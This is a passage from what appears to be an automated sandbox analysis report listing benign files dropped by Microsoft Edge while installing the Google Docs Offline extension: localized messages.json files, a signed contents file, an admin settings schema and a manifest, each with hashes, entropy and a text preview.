SHA-512:	EFF9EC7E72B272DDE5F29123653BC056A4BC2C3C662AE3C448F8CB6A4D1865A0679B7E74C1B3189F3E262109ED6BC8F8D2BDE14AEFC8E87E0F785AE4837D01C7
Malicious:	false
Preview:	{.. "createnew": {.. "message": "VYTVORI. NOV.".. },.. "explanationofflinedisabled": {.. "message": "Ste offline. Ak chcete pou.i. Dokumenty Google bez pripojenia na internet, po najbli..om pripojen. na internet prejdite do nastaven. na domovskej str.nke Dokumentov Google a.zapnite offline synchroniz.ciu.".. },.. "explanationofflineenabled": {.. "message": "Ste offline, no st.le m..ete upravova. dostupn. s.bory a.vytv.ra. nov..".. },.. "extdesc": {.. "message": ".prava, tvorba a.zobrazenie dokumentov, tabuliek a.prezent.ci.. To v.etko bez pr.stupu na internet.".. },.. "extname": {.. "message": "Dokumenty Google v re.ime offline".. },.. "learnmore": {.. "message": ".al.ie inform.cie".. },.. "popuphelptext": {.. "message": "P..te, upravujte a.spolupracuje, kdeko.vek ste, a.to s.pripojen.m na internet aj bez neho.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7988_1520355108\CRX_INSTALL\_locales\sl\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	963
Entropy (8bit):	4.6041913416245
Encrypted:	false
SSDEEP:	12:1HASvgfECBxNFCEuKXowwJrpvPwNgEcPJJJEfWOCBxeFCJuGuU4KYXCSUXKDxX4A:1HAXMKYw8VYNLcaeDmKYLdX2zJBG5
MD5:	BFAEFEFF32813DF91C56B71B79EC2AF4
SHA1:	F8EDA2B632610972B581724D6B2F9782AC37377B
SHA-256:	AAB9CF9098294A46DC0F2FA468AFFF7CA7C323A1A0EFA70C9DB1E3A4DA05D1D4
SHA-512:	971F2BBF5E9C84DE3D31E5F2A4D1A00D891A2504F8AF6D3F75FC19056BFD059A270C4C9836AF35258ABA586A1888133FB22B484F260C1CBC2D1D17BC3B4451AA
Malicious:	false
Preview:	{.. "createnew": {.. "message": "USTVARI NOVO".. },.. "explanationofflinedisabled": {.. "message": "Nimate vzpostavljene povezave. .e .elite uporabljati Google Dokumente brez internetne povezave, odprite nastavitve na doma.i strani Google Dokumentov in vklopite sinhronizacijo brez povezave, ko naslednji. vzpostavite internetno povezavo.".. },.. "explanationofflineenabled": {.. "message": "Nimate vzpostavljene povezave, vendar lahko .e vedno urejate razpolo.ljive datoteke ali ustvarjate nove.".. },.. "extdesc": {.. "message": "Urejajte, ustvarjajte in si ogledujte dokumente, preglednice in predstavitve . vse to brez internetnega dostopa.".. },.. "extname": {.. "message": "Google Dokumenti brez povezave".. },.. "learnmore": {.. "message": "Ve. o tem".. },.. "popuphelptext": {.. "message": "Pi.ite, urejajte in sodelujte, kjer koli ste, z internetno povezavo ali brez nje.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7988_1520355108\CRX_INSTALL\_locales\sr\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1320
Entropy (8bit):	4.569671329405572
Encrypted:	false
SSDEEP:	24:1HArg/fjQg2JwrfZtUWTrw1P4epMnRGi5TBmuPDRxZQ/XtiCw/Rwh/Q9EVz:ogUg2JwDZe6rwKI8VTP9xK1CwhI94
MD5:	7F5F8933D2D078618496C67526A2B066
SHA1:	B7050E3EFA4D39548577CF47CB119FA0E246B7A4
SHA-256:	4E8B69E864F57CDDD4DC4E4FAF2C28D496874D06016BC22E8D39E0CB69552769
SHA-512:	0FBAB56629368EEF87DEEF2977CA51831BEB7DEAE98E02504E564218425C751853C4FDEAA40F51ECFE75C633128B56AE105A6EB308FD5B4A2E983013197F5DBA
Malicious:	false
Preview:	{.. "createnew": {.. "message": "....... ....".. },.. "explanationofflinedisabled": {.. "message": "...... .... .. ..... ......... Google ......... ... ........ ...., ..... . .......... .. ........ ........ Google .......... . ........ ...... .............. ... ....... ... ...... ........ .. ...........".. },.. "explanationofflineenabled": {.. "message": "...... ..., ... . .... ...... .. ....... ...... . ........ ........ ... .. ....... .....".. },.. "extdesc": {.. "message": "....... . ........... ........., ...... . ............ . ....... ...... . ... . ... .. ... ........ .........".. },.. "extname": {.. "message

C:\Users\user\AppData\Local\Temp\scoped_dir7988_1520355108\CRX_INSTALL\_locales\sv\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	884
Entropy (8bit):	4.627108704340797
Encrypted:	false
SSDEEP:	24:1HA0NOYT/6McbnX/yzklyOIPRQrJlvDymvBd:vNOcyHnX/yg0P4Bymn
MD5:	90D8FB448CE9C0B9BA3D07FB8DE6D7EE
SHA1:	D8688CAC0245FD7B886D0DEB51394F5DF8AE7E84
SHA-256:	64B1E422B346AB77C5D1C77142685B3FF7661D498767D104B0C24CB36D0EB859
SHA-512:	6D58F49EE3EF0D3186EA036B868B2203FE936CE30DC8E246C32E90B58D9B18C624825419346B62AF8F7D61767DBE9721957280AA3C524D3A5DFB1A3A76C00742
Malicious:	false
Preview:	{.. "createnew": {.. "message": "SKAPA NYTT".. },.. "explanationofflinedisabled": {.. "message": "Du .r offline. Om du vill anv.nda Google Dokument utan internetuppkoppling, .ppna inst.llningarna p. Google Dokuments startsida och aktivera offlinesynkronisering n.sta g.ng du .r ansluten till internet.".. },.. "explanationofflineenabled": {.. "message": "Du .r offline, men det g.r fortfarande att redigera tillg.ngliga filer eller skapa nya.".. },.. "extdesc": {.. "message": "Redigera, skapa och visa dina dokument, kalkylark och presentationer . helt utan internet.tkomst.".. },.. "extname": {.. "message": "Google Dokument Offline".. },.. "learnmore": {.. "message": "L.s mer".. },.. "popuphelptext": {.. "message": "Skriv, redigera och samarbeta .verallt, med eller utan internetanslutning.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7988_1520355108\CRX_INSTALL\_locales\sw\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	980
Entropy (8bit):	4.50673686618174
Encrypted:	false
SSDEEP:	12:1HASvgNHCBxNx1HMHyMhybK7QGU78oCuafIvfCBxex6EYPE5E1pOCSUJqONtCBh8:1HAGDQ3y0Q/Kjp/zhDoKMkeAT6dBaX
MD5:	D0579209686889E079D87C23817EDDD5
SHA1:	C4F99E66A5891973315D7F2BC9C1DAA524CB30DC
SHA-256:	0D20680B74AF10EF8C754FCDE259124A438DCE3848305B0CAF994D98E787D263
SHA-512:	D59911F91ED6C8FF78FD158389B4D326DAF4C031B940C399569FE210F6985E23897E7F404B7014FC7B0ACEC086C01CC5F76354F7E5D3A1E0DEDEF788C23C2978
Malicious:	false
Preview:	{.. "createnew": {.. "message": "FUNGUA MPYA".. },.. "explanationofflinedisabled": {.. "message": "Haupo mtandaoni. Ili uweze kutumia Hati za Google bila muunganisho wa intaneti, wakati utakuwa umeunganishwa kwenye intaneti, nenda kwenye sehemu ya mipangilio kwenye ukurasa wa kwanza wa Hati za Google kisha uwashe kipengele cha usawazishaji nje ya mtandao.".. },.. "explanationofflineenabled": {.. "message": "Haupo mtandaoni, lakini bado unaweza kubadilisha faili zilizopo au uunde mpya.".. },.. "extdesc": {.. "message": "Badilisha, unda na uangalie hati, malahajedwali na mawasilisho yako . yote bila kutumia muunganisho wa intaneti.".. },.. "extname": {.. "message": "Hati za Google Nje ya Mtandao".. },.. "learnmore": {.. "message": "Pata Maelezo Zaidi".. },.. "popuphelptext": {.. "message": "Andika hati, zibadilishe na ushirikiane na wengine popote ulipo, iwe una muunganisho wa intaneti au huna.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7988_1520355108\CRX_INSTALL\_locales\ta\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1941
Entropy (8bit):	4.132139619026436
Encrypted:	false
SSDEEP:	24:1HAoTZwEj3YfVLiANpx96zjlXTwB4uNJDZwq3CP1B2xIZiIH1CYFIZ03SoFyxrph:JCEjWiAD0ZXkyYFyPND1L/I
MD5:	DCC0D1725AEAEAAF1690EF8053529601
SHA1:	BB9D31859469760AC93E84B70B57909DCC02EA65
SHA-256:	6282BF9DF12AD453858B0B531C8999D5FD6251EB855234546A1B30858462231A
SHA-512:	6243982D764026D342B3C47C706D822BB2B0CAFFA51F0591D8C878F981EEF2A7FC68B76D012630B1C1EB394AF90EB782E2B49329EB6538DD5608A7F0791FDCF5
Malicious:	false
Preview:	{.. "createnew": {.. "message": "..... ....... .........".. },.. "explanationofflinedisabled": {.. "message": ".......... ........... .... ....... ..... Google ......... .........., ...... .... ........... ......... ...., Google ... ................... ................ ......, ........ ......... ..........".. },.. "explanationofflineenabled": {.. "message": ".......... ..........., .......... .......... .......... ......... ........... ...... .....

C:\Users\user\AppData\Local\Temp\scoped_dir7988_1520355108\CRX_INSTALL\_locales\te\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1969
Entropy (8bit):	4.327258153043599
Encrypted:	false
SSDEEP:	48:R7jQrEONienBcFNBNieCyOBw0/kCcj+sEf24l+Q+u1LU4ljCj55ONipR41ssrNix:RjQJN1nBcFNBNlCyGcj+RXl+Q+u1LU4s
MD5:	385E65EF723F1C4018EEE6E4E56BC03F
SHA1:	0CEA195638A403FD99BAEF88A360BD746C21DF42
SHA-256:	026C164BAE27DBB36A564888A796AA3F188AAD9E0C37176D48910395CF772CEA
SHA-512:	E55167CB5638E04DF3543D57C8027B86B9483BFCAFA8E7C148EDED66454AEBF554B4C1CF3C33E93EC63D73E43800D6A6E7B9B1A1B0798B6BDB2F699D3989B052
Malicious:	false
Preview:	{.. "createnew": {.. "message": "..... ...... ........ ......".. },.. "explanationofflinedisabled": {.. "message": ".... ........... ........ ......... ........ ....... Google Docs... .............., .... ............ ....... ..... ...... .... Google Docs .... ...... ............. ......, ........ ........ ... .......".. },.. "explanationofflineenabled": {.. "message": ".... ........... ......., .... .... ........ .......... .... ....... ..... ....... .... ..

C:\Users\user\AppData\Local\Temp\scoped_dir7988_1520355108\CRX_INSTALL\_locales\th\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1674
Entropy (8bit):	4.343724179386811
Encrypted:	false
SSDEEP:	48:fcGjnU3UnGKD1GeU3pktOggV1tL2ggG7Q:f3jnDG1eUk0g6RLE
MD5:	64077E3D186E585A8BEA86FF415AA19D
SHA1:	73A861AC810DABB4CE63AD052E6E1834F8CA0E65
SHA-256:	D147631B2334A25B8AA4519E4A30FB3A1A85B6A0396BC688C68DC124EC387D58
SHA-512:	56DD389EB9DD335A6214E206B3BF5D63562584394D1DE1928B67D369E548477004146E6CB2AD19D291CB06564676E2B2AC078162356F6BC9278B04D29825EF0C
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".........".. },.. "explanationofflinedisabled": {.. "message": ".............. ............. Google .................................... ............................... Google ...... .................................................................".. },.. "explanationofflineenabled": {.. "message": "................................................................".. },.. "extdesc": {.. "message": "..... ..... ........

C:\Users\user\AppData\Local\Temp\scoped_dir7988_1520355108\CRX_INSTALL\_locales\tr\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1063
Entropy (8bit):	4.853399816115876
Encrypted:	false
SSDEEP:	24:1HAowYuBPgoMC4AGehrgGm7tJ3ckwFrXnRs5m:GYsPgrCtGehkGc3cvXr
MD5:	76B59AAACC7B469792694CF3855D3F4C
SHA1:	7C04A2C1C808FA57057A4CCEEE66855251A3C231
SHA-256:	B9066A162BEE00FD50DC48C71B32B69DFFA362A01F84B45698B017A624F46824
SHA-512:	2E507CA6874DE8028DC769F3D9DFD9E5494C268432BA41B51568D56F7426F8A5F2E5B111DDD04259EB8D9A036BB4E3333863A8FC65AAB793BCEF39EDFE41403B
Malicious:	false
Preview:	{.. "createnew": {.. "message": "YEN. OLU.TUR".. },.. "explanationofflinedisabled": {.. "message": ".nternet'e ba.l. de.ilsiniz. Google Dok.manlar'. .nternet ba.lant.s. olmadan kullanmak i.in, .nternet'e ba.lanabildi.inizde Google Dok.manlar ana sayfas.nda Ayarlar'a gidin ve .evrimd... senkronizasyonu etkinle.tirin.".. },.. "explanationofflineenabled": {.. "message": ".nternet'e ba.l. de.ilsiniz. Ancak, yine de mevcut dosyalar. d.zenleyebilir veya yeni dosyalar olu.turabilirsiniz.".. },.. "extdesc": {.. "message": "Dok.man, e-tablo ve sunu olu.turun, bunlar. d.zenleyin ve g.r.nt.leyin. T.m bu i.lemleri internet eri.imi olmadan yapabilirsiniz.".. },.. "extname": {.. "message": "Google Dok.manlar .evrimd...".. },.. "learnmore": {.. "message": "Daha Fazla Bilgi".. },.. "popuphelptext": {.. "message": ".nternet ba.lant.n.z olsun veya olmas.n, nerede olursan.z olun yaz.n, d.zenl

C:\Users\user\AppData\Local\Temp\scoped_dir7988_1520355108\CRX_INSTALL\_locales\uk\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1333
Entropy (8bit):	4.686760246306605
Encrypted:	false
SSDEEP:	24:1HAk9oxkm6H4KyGGB9GeGoxPEYMQhpARezTtHUN97zlwpEH7:VKU1GB9GeBc/OARETt+9/WCb
MD5:	970963C25C2CEF16BB6F60952E103105
SHA1:	BBDDACFEEE60E22FB1C130E1EE8EFDA75EA600AA
SHA-256:	9FA26FF09F6ACDE2457ED366C0C4124B6CAC1435D0C4FD8A870A0C090417DA19
SHA-512:	1BED9FE4D4ADEED3D0BC8258D9F2FD72C6A177C713C3B03FC6F5452B6D6C2CB2236C54EA972ECE7DBFD756733805EB2352CAE44BAB93AA8EA73BB80460349504
Malicious:	false
Preview:	{.. "createnew": {.. "message": "........".. },.. "explanationofflinedisabled": {.. "message": ".. . ...... ....... ... ............. Google ........... ... ......... . .........., ......... . ............ .. ........ ........ Google .......... . ......... ......-............., .... ...... . .......".. },.. "explanationofflineenabled": {.. "message": ".. . ...... ......, ..... ... .... ...... .......... ........ ..... ... .......... .....".. },.. "extdesc": {.. "message": "........., ......... . ............ ........., .......... ....... .. ........... ... ....... .. ..........".. },.. "extname": {.. "message": "Goo

C:\Users\user\AppData\Local\Temp\scoped_dir7988_1520355108\CRX_INSTALL\_locales\ur\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1263
Entropy (8bit):	4.861856182762435
Encrypted:	false
SSDEEP:	24:1HAl3zNEUhN3mNjkSIkmdNpInuUVsqNtOJDhY8Dvp/IkLzx:e3uUhQKvkmd+s11Lp1F
MD5:	8B4DF6A9281333341C939C244DDB7648
SHA1:	382C80CAD29BCF8AAF52D9A24CA5A6ECF1941C6B
SHA-256:	5DA836224D0F3A96F1C5EB5063061AAD837CA9FC6FED15D19C66DA25CF56F8AC
SHA-512:	FA1C015D4EA349F73468C78FDB798D462EEF0F73C1A762298798E19F825E968383B0A133E0A2CE3B3DF95F24C71992235BFC872C69DC98166B44D3183BF8A9E5
Malicious:	false
Preview:	{.. "createnew": {.. "message": "... ......".. },.. "explanationofflinedisabled": {.. "message": ".. .. .... .... Google Docs .. .... ....... ..... ....... .... ..... .... ... .. .. ....... .. ..... ... .. Google Docs ... ... .. ....... .. ..... ... .. .... ...... ..... .. .. .....".. },.. "explanationofflineenabled": {.. "message": ".. .. .... ... .... .. ... ... ...... ..... ... ..... .. .... ... .. ... ..... ... .... ....".. },.. "extdesc": {.. "message": ".......... .......... ... ....... . .... ... ....... .. ..... .. .... ...... ..... .... ... ..... .......".. },.. "extname": {.. "message": "Google Docs .. ....".. },.. "learnmore": {..

C:\Users\user\AppData\Local\Temp\scoped_dir7988_1520355108\CRX_INSTALL\_locales\vi\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1074
Entropy (8bit):	5.062722522759407
Encrypted:	false
SSDEEP:	24:1HAhBBLEBOVUSUfE+eDFmj4BLErQ7e2CIer32KIxqJ/HtNiE5nIGeU+KCVT:qHCDheDFmjDQgX32/S/hI9jh
MD5:	773A3B9E708D052D6CBAA6D55C8A5438
SHA1:	5617235844595D5C73961A2C0A4AC66D8EA5F90F
SHA-256:	597C5F32BC999746BC5C2ED1E5115C523B7EB1D33F81B042203E1C1DF4BBCAFE
SHA-512:	E5F906729E38B23F64D7F146FA48F3ABF6BAED9AAFC0E5F6FA59F369DC47829DBB4BFA94448580BD61A34E844241F590B8D7AEC7091861105D8EBB2590A3BEE9
Malicious:	false
Preview:	{.. "createnew": {.. "message": "T.O M.I".. },.. "explanationofflinedisabled": {.. "message": "B.n .ang ngo.i tuy.n. .. s. d.ng Google T.i li.u m. kh.ng c.n k.t n.i Internet, .i ..n c.i ..t tr.n trang ch. c.a Google T.i li.u v. b.t ..ng b. h.a ngo.i tuy.n v.o l.n ti.p theo b.n ...c k.t n.i v.i m.ng Internet.".. },.. "explanationofflineenabled": {.. "message": "B.n .ang ngo.i tuy.n, tuy nhi.n b.n v.n c. th. ch.nh s.a c.c t.p c. s.n ho.c t.o c.c t.p m.i.".. },.. "extdesc": {.. "message": "Ch.nh s.a, t.o v. xem t.i li.u, b.ng t.nh v. b.n tr.nh b.y . t.t c. m. kh.ng c.n truy c.p Internet.".. },.. "extname": {.. "message": "Google T.i li.u ngo.i tuy.n".. },.. "learnmore": {.. "message": "Ti.m hi..u th.m".. },.. "popuphelptext": {.. "message": "Vi.t, ch.nh s.a v. c.ng t.c

C:\Users\user\AppData\Local\Temp\scoped_dir7988_1520355108\CRX_INSTALL\_locales\zh_CN\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	879
Entropy (8bit):	5.7905809868505544
Encrypted:	false
SSDEEP:	12:1HASvgteHCBxNtSBXuetOrgIkA2OrWjMOCBxetSBXK01fg/SOiCSUEQ27e1CBhUj:1HAFsHtrIkA2jqldI/727eggcLk9pf
MD5:	3E76788E17E62FB49FB5ED5F4E7A3DCE
SHA1:	6904FFA0D13D45496F126E58C886C35366EFCC11
SHA-256:	E72D0BB08CC3005556E95A498BD737E7783BB0E56DCC202E7D27A536616F5EE0
SHA-512:	F431E570AB5973C54275C9EEF05E49E6FE2D6C17000F98D672DD31F9A1FAD98E0D50B5B0B9CF85D5BBD3B655B93FD69768C194C8C1688CB962AA75FF1AF9BDB6
Malicious:	false
Preview:	{.. "createnew": {.. "message": "..".. },.. "explanationofflinedisabled": {.. "message": "....................... Google ................ Google ....................".. },.. "explanationofflineenabled": {.. "message": ".............................".. },.. "extdesc": {.. "message": "...................... - ........".. },.. "extname": {.. "message": "Google .......".. },.. "learnmore": {.. "message": "....".. },.. "popuphelptext": {.. "message": "...............................".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7988_1520355108\CRX_INSTALL\_locales\zh_HK\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1205
Entropy (8bit):	4.50367724745418
Encrypted:	false
SSDEEP:	24:YWvqB0f7Cr591AhI9Ah8U1F4rw4wtB9G976d6BY9scKUrPoAhNehIrI/uIXS1:YWvl7Cr5JHrw7k7u6BY9trW+rHR
MD5:	524E1B2A370D0E71342D05DDE3D3E774
SHA1:	60D1F59714F9E8F90EF34138D33FBFF6DD39E85A
SHA-256:	30F44CFAD052D73D86D12FA20CFC111563A3B2E4523B43F7D66D934BA8DACE91
SHA-512:	D2225CF2FA94B01A7B0F70A933E1FDCF69CDF92F76C424CE4F9FCC86510C481C9A87A7B71F907C836CBB1CA41A8BEBBD08F68DBC90710984CA738D293F905272
Malicious:	false
Preview:	{"createnew":{"message":"\u5efa\u7acb\u65b0\u9805\u76ee"},"explanationofflinedisabled":{"message":"\u60a8\u8655\u65bc\u96e2\u7dda\u72c0\u614b\u3002\u5982\u8981\u5728\u6c92\u6709\u4e92\u806f\u7db2\u9023\u7dda\u7684\u60c5\u6cc1\u4e0b\u4f7f\u7528\u300cGoogle \u6587\u4ef6\u300d\uff0c\u8acb\u524d\u5f80\u300cGoogle \u6587\u4ef6\u300d\u9996\u9801\u7684\u8a2d\u5b9a\uff0c\u4e26\u5728\u4e0b\u6b21\u9023\u63a5\u4e92\u806f\u7db2\u6642\u958b\u555f\u96e2\u7dda\u540c\u6b65\u529f\u80fd\u3002"},"explanationofflineenabled":{"message":"\u60a8\u8655\u65bc\u96e2\u7dda\u72c0\u614b\uff0c\u4f46\u60a8\u4ecd\u53ef\u4ee5\u7de8\u8f2f\u53ef\u7528\u6a94\u6848\u6216\u5efa\u7acb\u65b0\u6a94\u6848\u3002"},"extdesc":{"message":"\u7de8\u8f2f\u3001\u5efa\u7acb\u53ca\u67e5\u770b\u60a8\u7684\u6587\u4ef6\u3001\u8a66\u7b97\u8868\u548c\u7c21\u5831\uff0c\u5b8c\u5168\u4e0d\u9700\u4f7f\u7528\u4e92\u806f\u7db2\u3002"},"extname":{"message":"\u300cGoogle \u6587\u4ef6\u300d\u96e2\u7dda\u7248"},"learnmore":{"message":"\u77ad\u89e3\u8a

C:\Users\user\AppData\Local\Temp\scoped_dir7988_1520355108\CRX_INSTALL\_locales\zh_TW\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	843
Entropy (8bit):	5.76581227215314
Encrypted:	false
SSDEEP:	12:1HASvgmaCBxNtBtA24ZOuAeOEHGOCBxetBtMHQIJECSUnLRNocPNy6CBhU5OGg1O:1HAEfQkekYyLvRmcPGgzcL2kx5U
MD5:	0E60627ACFD18F44D4DF469D8DCE6D30
SHA1:	2BFCB0C3CA6B50D69AD5745FA692BAF0708DB4B5
SHA-256:	F94C6DDEDF067642A1AF18D629778EC65E02B6097A8532B7E794502747AEB008
SHA-512:	6FF517EED4381A61075AC7C8E80C73FAFAE7C0583BA4FA7F4951DD7DBE183C253702DEE44B3276EFC566F295DAC1592271BE5E0AC0C7D2C9F6062054418C7C27
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".....".. },.. "explanationofflinedisabled": {.. "message": ".................. Google ................ Google .................".. },.. "explanationofflineenabled": {.. "message": ".........................".. },.. "extdesc": {.. "message": ".............................".. },.. "extname": {.. "message": "Google .....".. },.. "learnmore": {.. "message": "....".. },.. "popuphelptext": {.. "message": "................................".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7988_1520355108\CRX_INSTALL\_locales\zu\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	912
Entropy (8bit):	4.65963951143349
Encrypted:	false
SSDEEP:	24:YlMBKqLnI7EgBLWFQbTQIF+j4h3OadMJzLWnCieqgwLeOvKrCRPE:YlMBKqjI7EQOQb0Pj4heOWqeyaBrMPE
MD5:	71F916A64F98B6D1B5D1F62D297FDEC1
SHA1:	9386E8F723C3F42DA5B3F7E0B9970D2664EA0BAA
SHA-256:	EC78DDD4CCF32B5D76EC701A20167C3FBD146D79A505E4FB0421FC1E5CF4AA63
SHA-512:	30FA4E02120AF1BE6E7CC7DBB15FAE5D50825BD6B3CF28EF21D2F2E217B14AF5B76CFCC165685C3EDC1D09536BFCB10CA07E1E2CC0DA891CEC05E19394AD7144
Malicious:	false
Preview:	{"createnew":{"message":"DALA ENTSHA"},"explanationofflinedisabled":{"message":"Awuxhunyiwe ku-inthanethi. Ukuze usebenzise i-Google Amadokhumenti ngaphandle koxhumano lwe-inthanethi, iya kokuthi izilungiselelo ekhasini lasekhaya le-Google Amadokhumenti bese uvula ukuvumelanisa okungaxhunyiwe ku-inthanethi ngesikhathi esilandelayo lapho uxhunywe ku-inthanethi."},"explanationofflineenabled":{"message":"Awuxhunyiwe ku-inthanethi, kodwa usangakwazi ukuhlela amafayela atholakalayo noma udale amasha."},"extdesc":{"message":"Hlela, dala, futhi ubuke amadokhumenti akho, amaspredishithi, namaphrezentheshini \u2014 konke ngaphandle kokufinyelela kwe-inthanethi."},"extname":{"message":"I-Google Amadokhumenti engaxhumekile ku-intanethi"},"learnmore":{"message":"Funda kabanzi"},"popuphelptext":{"message":"Bhala, hlela, futhi hlanganyela noma yikuphi lapho okhona, unalo noma ungenalo uxhumano lwe-inthanethi."}}.

C:\Users\user\AppData\Local\Temp\scoped_dir7988_1520355108\CRX_INSTALL\_metadata\verified_contents.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	11280
Entropy (8bit):	5.751992630887702
Encrypted:	false
SSDEEP:	192:RBG1G1UPkUj/86Op//Ier/2nsNLJtwg+K8HNnswuHEIIMuuqd7CKqvUpGTcjG:m8IEI4u8Rp
MD5:	250C48F4915DD4C0DFA7E7E021A4F066
SHA1:	092A98BF40D8C18280393BF3811A7DFA9A9FD326
SHA-256:	26D9B129339E2E2EB8E0223E16DB3CF0EA220AC0799480D462C236E6A425665E
SHA-512:	8B18E232992E55E8DA97AC46D7AACA061508341D1EADCEFF1E9D0677734DFA8B892AB44754A3AA100585F5B2F2562BC4F2D7103065050FFCD00F91D5915CE5E6
Malicious:	false
Preview:	[{"description":"treehash per file","signed_content":{"payload":"eyJjb250ZW50X2hhc2hlcyI6W3siYmxvY2tfc2l6ZSI6NDA5NiwiZGlnZXN0Ijoic2hhMjU2IiwiZmlsZXMiOlt7InBhdGgiOiIxMjgucG5nIiwicm9vdF9oYXNoIjoiZ2NWZy0xWWgySktRNVFtUmtjZGNmamU1dzVIc1JNN1ZCTmJyaHJ4eGZ5ZyJ9LHsicGF0aCI6Il9sb2NhbGVzL2FmL21lc3NhZ2VzLmpzb24iLCJyb290X2hhc2giOiJxaElnV3hDSFVNLWZvSmVFWWFiWWlCNU9nTm9ncUViWUpOcEFhZG5KR0VjIn0seyJwYXRoIjoiX2xvY2FsZXMvYW0vbWVzc2FnZXMuanNvbiIsInJvb3RfaGFzaCI6IlpPQWJ3cEs2THFGcGxYYjh4RVUyY0VkU0R1aVY0cERNN2lEQ1RKTTIyTzgifSx7InBhdGgiOiJfbG9jYWxlcy9hci9tZXNzYWdlcy5qc29uIiwicm9vdF9oYXNoIjoiUjJVaEZjdTVFcEJfUUZtU19QeGstWWRrSVZqd3l6WEoxdURVZEMyRE9BSSJ9LHsicGF0aCI6Il9sb2NhbGVzL2F6L21lc3NhZ2VzLmpzb24iLCJyb290X2hhc2giOiJZVVJ3Mmp4UU5Lem1TZkY0YS1xcTBzbFBSSFc4eUlXRGtMY2g4Ry0zdjJRIn0seyJwYXRoIjoiX2xvY2FsZXMvYmUvbWVzc2FnZXMuanNvbiIsInJvb3RfaGFzaCI6IjNmRm9XYUZmUHJNelRXSkJsMXlqbUlyRDZ2dzlsa1VxdzZTdjAyUk1oVkEifSx7InBhdGgiOiJfbG9jYWxlcy9iZy9tZXNzYWdlcy5qc29uIiwicm9vdF9oYXNoIjoiSXJ3M3RIem9xREx6bHdGa0hjTllOWFoyNmI0WWVwT2t4ZFN

C:\Users\user\AppData\Local\Temp\scoped_dir7988_1520355108\CRX_INSTALL\dasherSettingSchema.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	854
Entropy (8bit):	4.284628987131403
Encrypted:	false
SSDEEP:	12:ont+QByTwnnGNcMbyWM+Q9TZldnnnGGxlF/S0WOtUL0M0r:vOrGe4dDCVGOjWJ0nr
MD5:	4EC1DF2DA46182103D2FFC3B92D20CA5
SHA1:	FB9D1BA3710CF31A87165317C6EDC110E98994CE
SHA-256:	6C69CE0FE6FAB14F1990A320D704FEE362C175C00EB6C9224AA6F41108918CA6
SHA-512:	939D81E6A82B10FF73A35C931052D8D53D42D915E526665079EEB4820DF4D70F1C6AEBAB70B59519A0014A48514833FEFD687D5A3ED1B06482223A168292105D
Malicious:	false
Preview:	{. "type": "object",. "properties": {. "allowedDocsOfflineDomains": {. "type": "array",. "items": {. "type": "string". },. "title": "Allow users to enable Docs offline for the specified managed domains.",. "description": "Users on managed devices will be able to enable docs offline if they are part of the specified managed domains.". },. "autoEnabledDocsOfflineDomains": {. "type": "array",. "items": {. "type": "string". },. "title": "Auto enable Docs offline for the specified managed domains in certain eligible situations.",. "description": "Users on managed devices, in certain eligible situations, will be able to automatically access and edit recent files offline for the managed domains set in this property. They can still disable it from Drive settings.". }. }.}.

C:\Users\user\AppData\Local\Temp\scoped_dir7988_1520355108\CRX_INSTALL\manifest.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2525
Entropy (8bit):	5.417833205646285
Encrypted:	false
SSDEEP:	24:1HEZ4WPoolELb/KxktGw3VwELb/4iL2QDkUpvdz1xxy/Atj1K9yiVvQe:WdP5aLTKQGwlTLT4oRvvxs/APKgiVb
MD5:	236D2DD305D64C2B6ABD232ED53270DF
SHA1:	9F6885E95FBC4213631F0B0EA49C803D07D34136
SHA-256:	2A4D526B9D1C8665427FB9E0DA58D16FDDE382DD74C1258941B18701EF7880C3
